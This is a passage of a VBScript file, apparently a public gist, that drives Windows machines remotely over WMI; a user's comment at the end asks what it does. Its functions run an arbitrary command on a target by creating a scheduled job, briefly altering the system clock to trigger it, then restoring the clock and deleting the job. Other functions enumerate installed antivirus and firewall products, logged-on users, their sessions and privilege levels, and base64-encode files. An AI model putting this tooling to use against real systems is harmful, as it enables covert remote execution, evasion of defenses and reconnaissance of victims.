strValue = WMIMethodReturn(objItem, strMethod)
ArrayAppend arrResult, Array("(M)" & strMethod, strValue)
Next
End If
intCount = intCount + 1
If intCount >= intItemCount Then Exit For
Next
WMIOutputList = arrResult
End Function
Function WMIOutputTable(colItems, arrProperties, arrWMIMethods, intOutputCount, boolInsertSeparater)
On Error Resume Next
Err.Clear
If intOutputCount <= 0 Then
intItemCount = colItems.Count
Else
intItemCount = intOutputCount
End If
intCount = 0
If IsArray(arrProperties) Then
For Each strProperty In arrProperties
ArrayAppend arrPerLine, strProperty
Next
End If
If IsArray(arrWMIMethods) Then
For Each strMethod In arrWMIMethods
ArrayAppend arrPerLine, "(M)" & strMethod
Next
End If
ArrayAppend arrResult, arrPerLine 'title
If boolInsertSeparater Then
For i = 0 To UBound(arrPerLine)
arrPerLine(i) = ""
Next
ArrayAppend arrResult, arrPerLine 'for separater
End If
For Each objItem In colItems
arrPerLine = vbEmpty
If IsArray(arrProperties) Then
For Each strProperty In arrProperties
varValue = GetWMIPropertyValue(objItem, strProperty)
ArrayAppend arrPerLine, varValue
Next
End If
If IsArray(arrWMIMethods) Then
For Each strMethod In arrWMIMethods
strValue = WMIMethodReturn(objItem, strMethod)
ArrayAppend arrPerLine, strValue
Next
End If
ArrayAppend arrResult, arrPerLine
arrPerLine = vbEmpty
intCount = intCount + 1
If intCount >= intItemCount Then Exit For
Next
WMIOutputTable = arrResult
End Function
Function PrintGWResult(ByVal arrResult, ByVal strType)
intBaseY = LBound(arrResult)
intTopY = UBound(arrResult)
intBaseX = LBound(arrResult(intBaseY))
intTopX = UBound(arrResult(intBaseY))
If LCase(strType) = "auto" Then
If (intTopX = 1) And (Join(arrResult(0), "") = "") Then
'If intTopX >= 5 Then
strType = "list"
Else
strType = "table"
End If
End If
For x = intBaseX To intTopX
intLineWidth = 0
For y = intBaseY To intTopY
intLineWidth = WhichIsLager(intLineWidth, Len(arrResult(y)(x)))
Next
ArrayAppend arrWidth, intLineWidth
Next
For y = intBaseY To intTopY
For x = intBaseX To intTopX
If strType = "csv" Then
arrResult(y)(x) = """" & Replace(arrResult(y)(x), """", "\""") & """"
Else 'table or list
arrResult(y)(x) = FormatOutput(arrResult(y)(x), arrWidth(x), " ")
End If
Next
Select Case strType
Case "list"
strToPrint = Join(arrResult(y), " : ")
If Replace(strToPrint, " ", "") = ":" Then 'is separater
strToPrint = FormatOutput("", Eval(Join(arrWidth, " + ")) + 3, "=")
End If
Case "table"
strToPrint = Join(arrResult(y), " ")
If Replace(strToPrint, " ", "") = "" Then 'is separater
For x = intBaseX To intTopX
arrResult(y)(x) = FormatOutput("", arrWidth(x), "=")
Next
strToPrint = Join(arrResult(y), " ")
End If
Case "csv"
strToPrint = Join(arrResult(y), ",")
End Select
WriteLine strToPrint
Next
End Function
Function ExecuteSchedulejob(objWMIService, strCommand)
On Error Resume Next
Err.Clear
ExecuteSchedulejob = False
If CreateScheduledJob(objWMIService, strCommand, strJobID) Then
WriteLine "[+] JobID = " & strJobID
Else
Exit Function
End If
If Not GetTimeString(objWMIService, strDateTimeString) Then Exit Function
strTimeToChangedString = Left(strDateTimeString, 12) & "58" & Right(strDateTimeString, 11)
WriteLine "[-] Changing time to " & WMIDateStringToDate(strTimeToChangedString, True)
If Not SetDateTime(objWMIService, strTimeToChangedString) Then Exit Function
WriteLine "[-] Wait 3s..."
WScript.Sleep(3000)
WriteLine "[-] Rolling the time back..."
SetDateTime objWMIService, strDateTimeString
WriteLine "[-] Deleting Job " & strJobID
If Not DeleteScheduledJob(objWMIService, strJobID) Then
WriteLine "[-] Try to remove the job manually!"
WriteLine "[-] Remove-Job " & strJobID
End If
End Function
Function CreateScheduledJob(objWMIService, strCommand, strResult)
On Error Resume Next
Err.Clear
CreateScheduledJob = False
Set objNewJob = objWMIService.Get("Win32_ScheduledJob")
If Err Then
Warning "to get Win32_ScheduledJob ", Err.Number, Err.Description
Exit Function
End If
If GetTimeString(objWMIService, strDateTimeString) Then
WriteLine "[+] Current time is " & WMIDateStringToDate(strDateTimeString, True)
Else
Exit Function
End If
strAddOneMinDateTime = DateAdd("n", 1, WMIDateStringToDate(strDateTimeString, True))
strAddOneMinDateString = WMIDateToDateString(strAddOneMinDateTime) & Right(strDateTimeString, 4)
strScheduleTimeString = "********" & Right(strAddOneMinDateString, Len(strAddOneMinDateString) - 8)
'WriteLine "strScheduleTimeString " & strScheduleTimeString
WriteLine "[-] Creating Job..."
intErrJobCreated = objNewJob.Create(strCommand, strScheduleTimeString, False, , , False, strResult)
WriteLine "[-] " & ScheduledJobErrCode(intErrJobCreated)
If intErrJobCreated = 0 Then
CreateScheduledJob = True
End If
End Function
Function DeleteScheduledJob(objWMIService, intJobID)
On Error Resume Next
Err.Clear
DeleteScheduledJob = False
strQuery = "Select Name From Win32_ScheduledJob Where JobID = '" & intJobID & "'"
Set colItems = objWMIService.ExecQuery(strQuery)
If Err Then
Warning "to get Win32_ScheduledJob ", Err.Number, Err.Description
Exit Function
End If
If colItems.Count = 0 Then
WriteLine "[!] No such job found."
Exit Function
End If
For Each objItem In colItems
intErr = objItem.Delete
Next
WriteLine ScheduledJobErrCode(intErr)
If intErrJobCreated = 0 Then
DeleteScheduledJob = True
End If
End Function
'return value is YYYYMMDDHHMMSS.MMMMMM(+-)OOO
Function GetTimeString(objWMIService, strResult)
On Error Resume Next
Err.Clear
GetTimeString = False
strQuery = "Select LocalDateTime From Win32_OperatingSystem"
Set colItems = objWMIService.ExecQuery(strQuery)
If Err Then
Warning "to get local time ", Err.Number, Err.Description
Exit Function
End If
For Each objItem In colItems
GetTimeString = True
strResult = objItem.LocalDateTime
Next
End Function
'strDateTime format is YYYYMMDDHHMMSS.MMMMMM(+-)OOO
Function SetDateTime(objWMIService, strDateTime)
On Error Resume Next
Err.Clear
SetDateTime = False
strQuery = "Select LocalDateTime From Win32_OperatingSystem"
Set colItems = objWMIService.ExecQuery(strQuery)
If Err Then
Warning "to get local time ", Err.Number, Err.Description
Exit Function
End If
For Each objItem In colItems
intReturn = objItem.SetDateTime(strDateTime)
Next
Select Case intReturn
Case 0
SetDateTime = True
WriteLine "[-] Date time changed successfully."
Case Else
WriteLine "[!] Date time changed failed, error code is " & intReturn
End Select
End Function
Function ScheduledJobErrCode(intCode)
Select Case intCode
Case 0 ScheduledJobErrCode = "Success."
Case 1 ScheduledJobErrCode = "Not supported."
Case 2 ScheduledJobErrCode = "Access denied."
Case 8 ScheduledJobErrCode = "Unknown failure."
case 9 ScheduledJobErrCode = "Path not found."
Case 21 ScheduledJobErrCode = "Invalid parameter."
Case 22 ScheduledJobErrCode = "Service not started."
Case Else ScheduledJobErrCode = "Error code is " & intCode & "."
End Select
End Function
Function GetAntiInfo(strRemoteTarget, strUserName, strPassword, arrResult)
On Error Resume Next
Err.Clear
GetAntiInfo = False
If Not GetWMIService(strRemoteTarget, "ROOT\SecurityCenter2", strUserName, strPassword, objSecurityService) Then
Exit Function
End If
strQuery = "Select DisplayName " & _
"From AntiVirusProduct"
Set colItems = objSecurityService.ExecQuery(strQuery)
If Err Then
Warning "to get AntiVirusProduct ", Err.Number, Err.Description
Else
GetAntiInfo = True
For Each objItem In colItems
ArrayAppend arrResult, objItem.DisplayName
Next
End If
Err.Clear
strQuery = "Select DisplayName " & _
"From FireWallProduct"
Set colItems = objSecurityService.ExecQuery(strQuery)
If Err Then
Warning "to get FireWallProduct ", Err.Number, Err.Description
Else
GetAntiInfo = True
For Each objItem In colItems
ArrayAppend arrResult, objItem.DisplayName
Next
End If
End Function
Function GetLogonUserList(objWMIService, arrResult)
On Error Resume Next
Err.Clear
GetLogonUserList = False
arrTitle = Array("Caption", "FullName", "ID", "SessionName", "ClientName", "LogonTime", "Counts", "Privilege")
ArrayAppend arrResult, arrTitle
For i = 0 To UBound(arrTitle)
arrTitle(i) = ""
Next
ArrayAppend arrResult, arrTitle
If Not GetLogonUserLogonTime(objWMIService, arrLogonTime) Then 'Array(LogonID, LogonTime)
Exit Function
End If
For i = 0 To UBound(arrLogonTime)
ArrayAppend arrLogonIDs, arrLogonTime(i)(0)
Next
If Not GetLogonUserCaption(objWMIService, arrLogonIDs, arrCaption) Then 'Array(LogonID, Caption)
Exit Function
End If
For i = 0 To UBound(arrCaption)
ArrayAppend arrUserName, arrCaption(i)(1)
Next
GetLogonUserState objWMIService, arrSessionState
If Not GetLogonUserAccount(objWMIService, arrUserName, arrAccount) Then 'Array(Caption, FullName, SID)
Exit Function
End If
For i = 0 To UBound(arrAccount)
strSID = arrAccount(i)(2)
If GetLogonUserSession(objWMIService, strSID, arrSessionState, arrLogonType) Then 'Array(Caption, FullName, SID, ID, SessionName, ClientName)
For j = 0 To UBound(arrLogonType)
ArrayAppend arrAccount(i), arrLogonType(j)
Next
End If
Next
If Not GetLogonUserProfile(objWMIService, arrUserName, arrProfile) Then 'Array(Caption, Counts, Privilege)
Exit Function
End If
For i = 0 To UBound(arrLogonTime)
strLogonId = arrLogonTime(i)(0)
strLogonTime = arrLogonTime(i)(1)
For j = 0 To UBound(arrCaption)
If arrCaption(j)(0) = strLogonId Then
strCaption = arrCaption(j)(1)
Exit For
End If
Next
For j = 0 To UBound(arrAccount)
If LCase(arrAccount(j)(0)) = LCase(strCaption) Then
strFullName = arrAccount(j)(1)
strID = arrAccount(j)(3)
strSessionName = arrAccount(j)(4)
strClientName = arrAccount(j)(5)
Exit For
End If
Next
For j = 0 To UBound(arrProfile)
If LCase(arrAccount(j)(0)) = LCase(strCaption) Then
strCounts = arrProfile(j)(1)
strPrivilege = arrProfile(j)(2)
End If
Next
ArrayAppend arrResult, Array(strCaption, strFullName, strID, strSessionName, strClientName, strLogonTime, strCounts, strPrivilege)
Next
GetLogonUserList = True
End Function
Function GetLogonUserLogonTime(objWMIService, outResult)
On Error Resume Next
Err.Clear
GetLogonUserLogonTime = False
strQuery = "Select LogonId,StartTime " & _
"from Win32_LogonSession " & _
"Where LogonType = 2 OR LogonType = 10"
Set colItems = objWMIService.ExecQuery(strQuery)
If Err Then
Warning "to query Win32_LogonSession ", Err.Number, Err.Description
Exit Function
End If
If colItems.Count = 0 Then
WriteLine "[-] No interactive users found."
Exit Function
End If
GetLogonUserLogonTime = True
For Each objItem In colItems
ArrayAppend outResult, Array(objItem.LogonId, WMIDateStringToDate(objItem.StartTime, False))
Next
End Function
Function GetLogonUserCaption(objWMIService, arrLogonIDs, outResult)
On Error Resume Next
Err.Clear
GetLogonUserCaption = False
strQuery = "Select Antecedent,Dependent " & _
"from Win32_LoggedOnUser"
Set colItems = objWMIService.ExecQuery(strQuery)
If Err Then
Warning "to query Win32_LoggedOnUser ", Err.Number, Err.Description
Exit Function
End If
If colItems.Count = 0 Then
WriteLine "[-] No instance of Win32_LoggedOnUser could be found."
Exit Function
End If
GetLogonUserCaption = True
For Each objItem In colItems
strCaption = objItem.Antecedent
strCaption = Split(strCaption, """")(1) & "\" & Split(strCaption, """")(3)
strLogonId = Split(objItem.Dependent, """")(1)
ArrayAppend arrResult, Array(strLogonId, strCaption)
Next
For i = 0 To UBound(arrLogonIDs)
For j = 0 To UBound(arrResult)
If arrLogonIDs(i) = arrResult(j)(0) Then
ArrayAppend outResult, arrResult(j)
End If
Next
Next
End Function
Function GetLogonUserAccount(objWMIService, arrUserName, outResult)
On Error Resume Next
Err.Clear
GetLogonUserAccount = False
strQuery = "Select Caption,FullName,SID " & _
"From Win32_UserAccount " & _
"Where Caption='" & Replace(Join(arrUserName, "' OR Caption='"), "\", "\\") & "'"
Set colItems = objWMIService.ExecQuery(strQuery)
If Err Then
Warning "to query Win32_UserAccount ", Err.Number, Err.Description
Exit Function
End If
If colItems.Count = 0 Then
WriteLine "[-] No instance of Win32_UserAccount could be found."
Exit Function
End If
For Each objItem In colItems
ArrayAppend outResult, Array(objItem.Caption, objItem.FullName, objItem.SID)
Next
GetLogonUserAccount = True
End Function
Function GetLogonUserState(objWMIService, arrUserState)
'# is sessionID
'Name = 'RDP-Tcp #'
'Name = '# Disc'
On Error Resume Next
Err.Clear
GetLogonUserState = False
strQuery = "SELECT Name " & _
"FROM Win32_PerfFormattedData_TermService_TerminalServicesSession " & _
"Where Name Like '% Disc'"
Set colItems = objWMIService.ExecQuery(strQuery)
If Err Then
Warning "to get user logon state ", Err.Number, Err.Description
Exit Function
End If
If colItems.Count = 0 Then Exit Function
For Each objItem In colItems
ArrayAppend arrUserState, objItem.Name
Next
GetLogonUserState = True
End Function
Function GetLogonUserSession(objWMIService, strSID, arrSessionState, outResult)
On Error Resume Next
Err.Clear
GetLogonUserSession = False
Set objReg = objWMIService.Get("StdRegProv")
If Err Then
Warning "to get StdRegProv class ", Err.Number, Err.Description
Exit Function
End If
Const HKEY_USERS = &H80000003
strRegPath = strSID & "\Volatile Environment"
objReg.EnumKey HKEY_USERS, strRegPath, arrSubKeys
If Err Then
Warning "to access HKU ", Err.Number, Err.Description
Exit Function
End If
For Each strSubKey In arrSubKeys
strSessionID = strSubKey
Next
strKeyPath = strRegPath & "\" & strSessionID
objReg.GetStringValue HKEY_USERS, strKeyPath, "SESSIONNAME", strSessionName
If Err Then
Select Case Err.Numebr
Case 451
'result is empty, user logged off
Case Else
Warning "to get SessionName ", Err.Number, Err.Description
Exit Function
End Select
End If
Err.Clear
objReg.GetStringValue HKEY_USERS, strKeyPath, "CLIENTNAME", strClientName
If Err Then
Select Case Err.Numebr
Case 451
'result is empty, user logged off
Case Else
Warning "to get ClientName ", Err.Number, Err.Description
Exit Function
End Select
End If
GetLogonUserSession = True
If Len(strSessionID) > 0 Then
If InArray(arrSessionState, strSessionID & " Disc", True, "") Then
strSessionName = strSessionName & "(Disc)"
End If
Else
strSessionName = "LoggedOff"
End If
outResult = Array(strSessionID, strSessionName, strClientName)
End Function
Function GetLogonUserProfile(objWMIService, arrUserName, outResult)
On Error Resume Next
Err.Clear
GetLogonUserProfile = False
strQuery = "SELECT Name,NumberOfLogons,Privileges " & _
"FROM Win32_NetworkLoginProfile " & _
"WHERE Name='" & Replace( Join(arrUserName, "' OR Name='") , "\", "\\") & "'"
Set colItems = objWMIService.ExecQuery(strQuery)
If Err Then
Warning "to query Win32_NetworkLoginProfile ", Err.Number, Err.Description
Exit Function
End If
If colItems.Count = 0 Then
WriteLine "[-] No instance of Win32_NetworkLoginProfile could be found."
Exit Function
End If
GetLogonUserProfile = True
For Each objItem In colItems
strLogonCounts = objItem.NumberOfLogons
strPrivilege = LogonUserPrivilege(objItem.Privileges)
ArrayAppend outResult, Array(objItem.Name, strLogonCounts, strPrivilege)
Next
End Function
Function LogonUserPrivilege(intPri)
Select Case intPri
Case 0
LogonUserPrivilege = "Guest"
Case 1
LogonUserPrivilege = "User"
Case 2
LogonUserPrivilege = "Admin"
Case Else
LogonUserPrivilege = intPri
End Select
End Function
'----------------------------------------------------
Function SaveReturnValue(strFile, intReturn)
On Error Resume Next
Err.Clear
Set objTextFile = objFSO.OpenTextFile(strFile, 2, True)
If Err Then
Warning "to open " & strFile & " ", Err.Number, Err.Description
Exit Function
End If
objTextFile.WriteLine(intReturn)
objTextFile.Close
End Function
Function InArray(ByVal arrArray, ByVal strValue, ByVal boolIgnoreCase, outIndex)
On Error Resume Next
Err.Clear
InArray = False
If Not IsArray(arrArray) Then Exit Function
If boolIgnoreCase Then
strValue = LCase(strValue)
For i = 0 To UBound(arrArray)
arrArray(i) = LCase(arrArray(i))
Next
End If
For i = 0 To UBound(arrArray)
If arrArray(i) = strValue Then
InArray = True
outIndex = i
Exit For
End If
Next
End Function
Function QuitWith(strTips)
WriteLine strTips
WScript.Quit()
End Function
Sub WriteLine(str)
WScript.StdOut.WriteLine(str)
End Sub
Sub Write(str)
WScript.StdOut.Write(str)
End Sub
Function Warning(str, intErr, strDesc)
WriteLine "[!] Failed " & str & "with code 0x" & Hex(intErr) & ", " & strDesc
End Function
Function IsBlank(Value)
On Error Resume Next
IsBlank = False
'Returns True if Empty or NULL or Zero
If IsEmpty(Value) or IsNull(Value) Then
IsBlank = True
Exit Function
ElseIf IsNumeric(Value) Then
'If Value = 0 Then ' Special Case
' IsBlank = True ' Change to suit your needs
'End If
Exit Function
ElseIf IsObject(Value) Then
If Value Is Nothing Then
IsBlank = True
Exit Function
End If
ElseIf VarType(Value) = vbString Then
If Value = "" Then
IsBlank = True
Exit Function
End If
Else
IsBlank = False
End If
End Function
'arrResult(0) is argument count
'arrResult(1) is 1st argument
Function SplitArgument(strParameters)
arrResult = Array(0)
boolUnfinished = False
strArg = ""
For i = 1 To Len(strParameters)
strTodo = Mid(strParameters,i,1)
Select Case Asc(strTodo)
Case 32 'blank
If boolUnfinished Then
strArg = strArg & strTodo
Else
If Len(strArg) > 0 Then
ArrayAppend arrResult, strArg
End If
strArg = ""
End If
'Case 92 '\
' i = i + 1
' strArg = strArg & Mid(strParameters,i,1)
Case 34 '"
if boolUnfinished Then
boolUnfinished = False
strArg = strArg & strTodo
If Len(strArg) > 0 Then
ArrayAppend arrResult, strArg
End If
strArg = ""
Else
boolUnfinished = True
strArg = strArg & strTodo
End If
Case Else
strArg = strArg & strTodo
End Select
Next
If Len(strArg) > 0 Then
If boolUnfinished Then
boolUnfinished = False
ArrayAppend arrResult, strArg & """"
Else
ArrayAppend arrResult, strArg
End If
End If
arrResult(0) = UBound(arrResult)
For i = 1 To UBound(arrResult)
If BeginWith(arrResult(i), """") Then
arrResult(i) = Right(arrResult(i), Len(arrResult(i)) - 1)
End If
If EndWith(arrResult(i), """") Then
arrResult(i) = Left(arrResult(i), Len(arrResult(i)) - 1)
End If
Next
SplitArgument = arrResult
End Function
Function ArrayAppend(myArray, strValue)
'If Len(strValue) = 0 Then Exit Function
If IsArray(myArray) Then
ReDim Preserve myArray(UBound(myArray) + 1)
myArray(UBound(myArray)) = strValue
Else
myArray = Array(strValue)
End If
End Function
Function FormatOutput(strValue, intValueLen, strChar)
If IsNull(strValue) Then
strTodo = " "
Else
strTodo = strValue
End If
FormatOutput = strTodo & String(intValueLen - Len(strTodo), strChar)
End Function
Function FormatOutputR(strValue, intValueLen, strChar)
If IsNull(strValue) Then
strTodo = " "
Else
strTodo = strValue
End If
Do While Len(strTodo) < intValueLen
strTodo = strChar & strTodo
Loop
FormatOutputR = strTodo
End Function
Function WhichIsLager(intVal1, intVal2)
On Error Resume Next
If IsNull(intVal1) Then intVal1 = 0
If IsNull(intVal2) Then intVal2 = 0
If intVal1 >= intVal2 Then
WhichIsLager = intVal1
Else
WhichIsLager = intVal2
End If
End Function
Function BeginWith(strToCheck, strBegin)
On Error Resume Next
BeginWith = False
If LCase(Left(strToCheck, Len(strBegin))) = LCase(strBegin) Then
BeginWith = True
End If
End Function
Function EndWith(strToCheck, strEnd)
On Error Resume Next
EndWith = False
If LCase(Right(strToCheck, Len(strEnd))) = LCase(strEnd) Then
EndWith = True
End If
End Function
Function GetHostName()
Set WshSysEnv=objShell.Environment("Process")
GetHostName = WshSysEnv.Item("COMPUTERNAME")
End Function
'dtmDate format is YYYYMMDDHHMMSS.MMMMMM(+-)OOO
'return value format is MM/DD/YYYY HH:MM:SS [AM|PM]
Function WMIDateStringToDate(dtmDate, boolDateType)
On Error Resume Next
If dtmDate = "" Then Exit Function
strReturn = Mid(dtmDate, 5, 2) & "/" & _
Mid(dtmDate, 7, 2) & "/" & _
Left(dtmDate, 4) & " " & _
Mid(dtmDate, 9, 2) & ":" & _
Mid(dtmDate, 11, 2) & ":" & _
Mid(dtmDate,13, 2)
If boolDateType Then strReturn = CDate(strReturn)
If Err Then strReturn = dtmDate
WMIDateStringToDate = strReturn
End Function
'dtmDate format is MM/DD/YYYY HH:MM:SS [AM|PM]
'return value format is YYYYMMDDHHMMSS.MMMMMM
Function WMIDateToDateString(dtmDate)
On Error Resume Next
arrDtmDate = Split(dtmDate)
strDate = arrDtmDate(0)
strMM = Right("0" & Split(strDate, "/")(0), 2)
strDD = Right("0" & Split(strDate, "/")(1), 2)
strYY = Split(strDate, "/")(2)
strTime = arrDtmDate(1)
strHH = Right("0" & Split(strTime, ":")(0), 2)
strNN = Right("0" & Split(strTime, ":")(1), 2)
strSS = Right("0" & Split(strTime, ":")(2), 2)
If UBound(arrDtmDate) > 1 Then
If arrDtmDate(2) = "PM" Then
strHH = strHH + 12
End If
End If
WMIDateToDateString = strYY & strMM & strDD & strHH & strNN & strSS & ".000000"
End Function
Function DecimalNumbers(arrHex)
Dim i, strDecValues
For i = 0 to UBound(arrHex)
If isEmpty(strDecValues) Then
strDecValues = CLng("&H" & arrHex(i))
Else
strDecValues = strDecValues & "," & CLng("&H" & arrHex(i))
End If
Next
DecimalNumbers = split(strDecValues, ",")
End Function
'outMatches(x) matches object
'e.g.
'outMatches.Count
'outMatches(0).Value
'outMatches(0).SubMatches(0)
Function RegxWith(strContents, strRegEx, boolIgnoreCase, outMatches)
On Error Resume Next
RegxWith = False
Set regEx = New RegExp
regEx.Pattern = strRegEx
regEx.IgnoreCase = boolIgnoreCase
Set outMatches = regEx.Execute(strContents)
If outMatches.Count = 0 Then
Exit Function
Else
RegxWith = True
End If
End Function
Function IsIP(strText)
If IsNull(strText) Then
IsIP = False
Else
IsIP = RegxWith(strText, "\b(?:(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?))\b", True, "")
End If
End Function
Function IsWMIDate(strText)
If IsNull(strText) Then
IsWMIDate = False
Else
IsWMIDate = RegxWith(strText, "^[0-9]{14}\.[0-9]{6}[+-]{1}[0-9]*$", True, "")
End If
End Function
'(65,90,n) upper case
'(97,122,n) lower case
'(48,57,n) digital
Function nss(min, max, n)
For i = 1 To n
Randomize
nss = nss & Chr(Int(((max - min + 1) * Rnd) + min))
Next
End Function
Function Base64EncodeString(ByVal sText, ByVal fAsUtf16LE, ByVal fAsSingleLine)
With CreateObject("Msxml2.DOMDocument").CreateElement(nss(97,122,3))
.DataType = "bin.base64"
If fAsUtf16LE Then
.NodeTypedValue = StrToBytes(sText, "utf-16le", 2)
Else
.NodeTypedValue = StrToBytes(sText, "utf-8", 3)
End If
strEncoded = .Text
End With
If fAsSingleLine Then
intPerLineLength = 72
For i = 1 To Len(strEncoded) Step intPerLineLength + 1
Base64EncodeString = Base64EncodeString & Mid(strEncoded, i, intPerLineLength)
Next
Else
Base64EncodeString = strEncoded
End If
WriteLine Base64EncodeString
End Function
Function StrToBytes(ByVal sText, ByVal sTextEncoding, ByVal iBomByteCount)
With CreateObject("ADODB.Stream")
.Type = 2 ' adTypeText
.Charset = sTextEncoding
.Open
.WriteText sText
.Position = 0
.Type = 1 ' adTypeBinary
.Position = iBomByteCount ' skip the BOM
StrToBytes = .Read
.Close
End With
End Function
Function Base64EncodeFile(strFile)
With CreateObject("Microsoft.XMLDOM").CreateElement(nss(97,122,3))
.DataType = "bin.base64"
.NodeTypedValue = ReadFileBytes(strFile)
Base64EncodeFile = .Text
End With
End Function
Function ReadFileBytes(strFile)
With CreateObject("ADODB.Stream")
.Open
.Type = 1 ' adTypeBinary
.LoadFromFile(strFile)
ReadFileBytes = .Read
.Close
End With
End Function
Function OSLang(intCode)
Select Case intCode
Case 1 OSLang = "Arabic"
Case 4 OSLang = "Chinese (Simplified)- China"
Case 9 OSLang = "English"
Case 1025 OSLang = "Arabic - Saudi Arabia"
Case 1026 OSLang = "Bulgarian"
Case 1027 OSLang = "Catalan"
Case 1028 OSLang = "Chinese (Traditional) - Taiwan"
Case 1029 OSLang = "Czech"
Case 1030 OSLang = "Danish"
Case 1031 OSLang = "German - Germany"
Case 1032 OSLang = "Greek"
Case 1033 OSLang = "English - United States"
Case 1034 OSLang = "Spanish - Traditional Sort"
Case 1035 OSLang = "Finnish"
Case 1036 OSLang = "French - France"
Case 1037 OSLang = "Hebrew"
Case 1038 OSLang = "Hungarian"
Case 1039 OSLang = "Icelandic"
Case 1040 OSLang = "Italian - Italy"
Case 1041 OSLang = "Japanese"
Case 1042 OSLang = "Korean"
Case 1043 OSLang = "Dutch - Netherlands"
Case 1044 OSLang = "Norwegian - Bokmal"
Case 1045 OSLang = "Polish"
Case 1046 OSLang = "Portuguese - Brazil"
Case 1047 OSLang = "Rhaeto-Romanic"
Case 1048 OSLang = "Romanian"
Case 1049 OSLang = "Russian"
Case 1050 OSLang = "Croatian"
Case 1051 OSLang = "Slovak"
Case 1052 OSLang = "Albanian"
Case 1053 OSLang = "Swedish"
Case 1054 OSLang = "Thai"
Case 1055 OSLang = "Turkish"
Case 1056 OSLang = "Urdu"
Case 1057 OSLang = "Indonesian"
Case 1058 OSLang = "Ukrainian"
Case 1059 OSLang = "Belarusian"
Case 1060 OSLang = "Slovenian"
Case 1061 OSLang = "Estonian"
Case 1062 OSLang = "Latvian"
Case 1063 OSLang = "Lithuanian"
Case 1065 OSLang = "Persian"
Case 1066 OSLang = "Vietnamese"
Case 1069 OSLang = "Basque (Basque)"
Case 1070 OSLang = "Serbian"
Case 1071 OSLang = "Macedonian (Macedonia (FYROM))"
Case 1072 OSLang = "Sutu"
Case 1073 OSLang = "Tsonga"
Case 1074 OSLang = "Tswana"
Case 1076 OSLang = "Xhosa"
Case 1077 OSLang = "Zulu"
Case 1078 OSLang = "Afrikaans"
Case 1080 OSLang = "Faeroese"
Case 1081 OSLang = "Hindi"
Case 1082 OSLang = "Maltese"
Case 1084 OSLang = "Scottish Gaelic (United Kingdom)"
Case 1085 OSLang = "Yiddish"
Case 1086 OSLang = "Malay - Malaysia"
Case 2049 OSLang = "Arabic - Iraq"
Case 2052 OSLang = "Chinese (Simplified) - PRC"
Case 2055 OSLang = "German - Switzerland"
Case 2057 OSLang = "English - United Kingdom"
Case 2058 OSLang = "Spanish - Mexico"
Case 2060 OSLang = "French - Belgium"
Case 2064 OSLang = "Italian - Switzerland"
Case 2067 OSLang = "Dutch - Belgium"
Case 2068 OSLang = "Norwegian - Nynorsk"
Case 2070 OSLang = "Portuguese - Portugal"
Case 2072 OSLang = "Romanian - Moldova"
Case 2073 OSLang = "Russian - Moldova"
Case 2074 OSLang = "Serbian - Latin"
Case 2077 OSLang = "Swedish - Finland"
Case 3073 OSLang = "Arabic - Egypt"
Case 3076 OSLang = "Chinese (Traditional) - Hong Kong SAR"
Case 3079 OSLang = "German - Austria"
Case 3081 OSLang = "English - Australia"
Case 3082 OSLang = "Spanish - International Sort"
Case 3084 OSLang = "French - Canada"
Case 3098 OSLang = "Serbian - Cyrillic"
Case 4097 OSLang = "Arabic - Libya"
Case 4100 OSLang = "Chinese (Simplified) - Singapore"
Case 4103 OSLang = "German - Luxembourg"
Case 4105 OSLang = "English - Canada"
Case 4106 OSLang = "Spanish - Guatemala"
Case 4108 OSLang = "French - Switzerland"
Case 5121 OSLang = "Arabic - Algeria"
Case 5127 OSLang = "German - Liechtenstein"
Case 5129 OSLang = "English - New Zealand"
Case 5130 OSLang = "Spanish - Costa Rica"
Case 5132 OSLang = "French - Luxembourg"
Case 6145 OSLang = "Arabic - Morocco"
Case 6153 OSLang = "English - Ireland"
Case 6154 OSLang = "Spanish - Panama"
Case 7169 OSLang = "Arabic - Tunisia"
Case 7177 OSLang = "English - South Africa"
Case 7178 OSLang = "Spanish - Dominican Republic"
Case 8193 OSLang = "Arabic - Oman"
Case 8201 OSLang = "English - Jamaica"
Case 8202 OSLang = "Spanish - Venezuela"
Case 9217 OSLang = "Arabic - Yemen"
Case 9226 OSLang = "Spanish - Colombia"
Case 10241 OSLang = "Arabic - Syria"
Case 10249 OSLang = "English - Belize"
Case 10250 OSLang = "Spanish - Peru"
Case 11265 OSLang = "Arabic - Jordan"
Case 11273 OSLang = "English - Trinidad"
Case 11274 OSLang = "Spanish - Argentina"
Case 12289 OSLang = "Arabic - Lebanon"
Case 12298 OSLang = "Spanish - Ecuador"
Case 13313 OSLang = "Arabic - Kuwait"
Case 13322 OSLang = "Spanish - Chile"
Case 14337 OSLang = "Arabic - U.A.E."
Case 14346 OSLang = "Spanish - Uruguay"
Case 15361 OSLang = "Arabic - Bahrain"
Case 15370 OSLang = "Spanish - Paraguay"
Case 16385 OSLang = "Arabic - Qatar"
Case 16394 OSLang = "Spanish - Bolivia"
Case 17418 OSLang = "Spanish - El Salvador"
Case 18442 OSLang = "Spanish - Honduras"
Case 19466 OSLang = "Spanish - Nicaragua"
Case 20490 OSLang = "Spanish - Puerto Rico"
Case Else OSLang = intCode
End Select
End Function
Function RouteTableProtocal(intProtocal)
Select Case intProtocal
Case 1 RouteTableProtocal = "other"
Case 2 RouteTableProtocal = "local"
Case 3 RouteTableProtocal = "netmgmt"
Case 4 RouteTableProtocal = "icmp"
Case 5 RouteTableProtocal = "egp"
Case 6 RouteTableProtocal = "ggp"
Case 7 RouteTableProtocal = "hello"
Case 8 RouteTableProtocal = "rip"
Case 9 RouteTableProtocal = "is-is"
Case 10 RouteTableProtocal = "es-is"
Case 11 RouteTableProtocal = "ciscoIgrp"
Case 12 RouteTableProtocal = "bbnSpfIgp"
Case 13 RouteTableProtocal = "ospf"
Case 14 RouteTableProtocal = "bgp"
End Select
End Function
Function RouteTableType(intType)
Select Case intType
Case 1 RouteTableType = "other"
Case 2 RouteTableType = "invalid"
Case 3 RouteTableType = "direct"
Case 4 RouteTableType = "indirect"
End Select
End Function
@0xYasser
Copy link

can you give an idea about what does this script accomplish?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment